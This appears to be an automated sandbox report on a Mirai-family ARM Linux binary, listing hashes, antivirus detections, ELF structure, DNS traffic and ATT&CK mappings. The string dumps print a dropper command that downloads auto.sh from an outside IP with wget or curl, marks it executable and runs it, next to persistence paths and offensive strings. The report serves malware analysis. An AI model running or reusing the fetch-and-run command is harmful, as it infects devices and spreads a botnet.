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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:	arm6.elf
Analysis ID:	1583219
MD5:	99f5d158feb9a65cdc888e24de76e212
SHA1:	1d5c03ae4994e325dbc52825705a2997692be0bf
SHA256:	979f7a604d477dccd55a2e87765a07a6c7569580d4f88c25b87e32d27887aa52
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583219
Start date and time:	2025-01-02 08:55:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm6.elf
Detection:	MAL
Classification:	mal56.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/arm6.elf
PID:	5427
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

arm6.elf (PID: 5427, Parent: 5353, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm6.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm6.elf	Virustotal: Detection: 52%			Perma Link
Source: arm6.elf	ReversingLabs: Detection: 55%

Source: arm6.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: arm6.elf	String: /proc//exe%s/%s/proc/%s/cmdlinewgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/var/wwww/etc/systemd/system/startup_command.service[Unit]
Source: arm6.elf	String: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm6.elf	String found in binary or memory: http://154.216.18.192/auto.sh
Source: arm6.elf	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinewgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/var/wwww/etc/systemd/system/startup_command.service[Unit]
Source: Initial sample	String containing 'busybox' found: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.linELF@0/0@2/0

Source: /tmp/arm6.elf (PID: 5427)

Queries kernel information via 'uname':

Jump to behavior

Source: arm6.elf, 5427.1.00005617ca23b000.00005617ca369000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5427.1.00007ffcf5f50000.00007ffcf5f71000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5427.1.00005617ca23b000.00005617ca369000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm6.elf, 5427.1.00007ffcf5f50000.00007ffcf5f71000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
Source: arm6.elf, 5427.1.00007ffcf5f50000.00007ffcf5f71000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm6.elf	52%	Virustotal		Browse
arm6.elf	55%	ReversingLabs	Linux.Trojan.Mirai
arm6.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	arm6.elf	false		high
http://154.216.18.192/auto.sh;	arm6.elf	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	armv6l.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	m68k.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.930679459459569
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm6.elf
File size:	91'532 bytes
MD5:	99f5d158feb9a65cdc888e24de76e212
SHA1:	1d5c03ae4994e325dbc52825705a2997692be0bf
SHA256:	979f7a604d477dccd55a2e87765a07a6c7569580d4f88c25b87e32d27887aa52
SHA512:	4f8f744dc1dceaf195f8514a8e16a60c56ac6a913d87092cb278015791073fe8326f2ac43ad36be25ecfbce38b4d14d93087ab97bac758401dfae3ae688fc041
SSDEEP:	1536:53QnI+SeeHyECSIYmo1+ZTYi/7LnYbb6yib5dGHaIpw8GEUMaishtgEv+jYbKh:5GMHIy/1OTXDy6dbPGHaI0hLv+j+K
TLSH:	CB930956BC814B22C5C513BAFA2E118E3313277CE3DE73129D206F24778A96B0E77956
File Content Preview:	.ELF..............(.....T...4....c......4. ...(......................^...^...............`...`...`..8...xm..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.8c.......`....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	91052
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x13324	0x0	0x6	AX	16
.fini	PROGBITS	0x1b3d4	0x133d4	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1b3e8	0x133e8	0x2ad8	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x26004	0x16008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x26008	0x1600c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x26010	0x16014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x26084	0x16088	0x2b4	0x0	0x3	WA	4
.bss	NOBITS	0x26338	0x1633c	0xea44	0x0	0x3	WA	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1633c	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1634c	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x15ec0	0x15ec0	5.9612	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x16004	0x26004	0x26000	0x338	0x16d78	3.7335	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 08:55:42.445502043 CET	39252	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:55:42.445565939 CET	36615	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:55:42.452508926 CET	53	36615	1.1.1.1	192.168.2.13
Jan 2, 2025 08:55:42.452780008 CET	53	39252	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 08:55:42.445502043 CET	192.168.2.13	1.1.1.1	0x167a	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:55:42.445565939 CET	192.168.2.13	1.1.1.1	0x3f79	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 08:55:42.452780008 CET	1.1.1.1	192.168.2.13	0x167a	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:55:42.452780008 CET	1.1.1.1	192.168.2.13	0x167a	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm6.elf PID: 5427, Parent PID: 5353

General

Start time (UTC):	07:55:40
Start date (UTC):	02/01/2025
Path:	/tmp/arm6.elf
Arguments:	/tmp/arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm6.elf PID: 5427, Parent PID: 5353

General

Chronological Activities

Linux Analysis Report
arm6.elf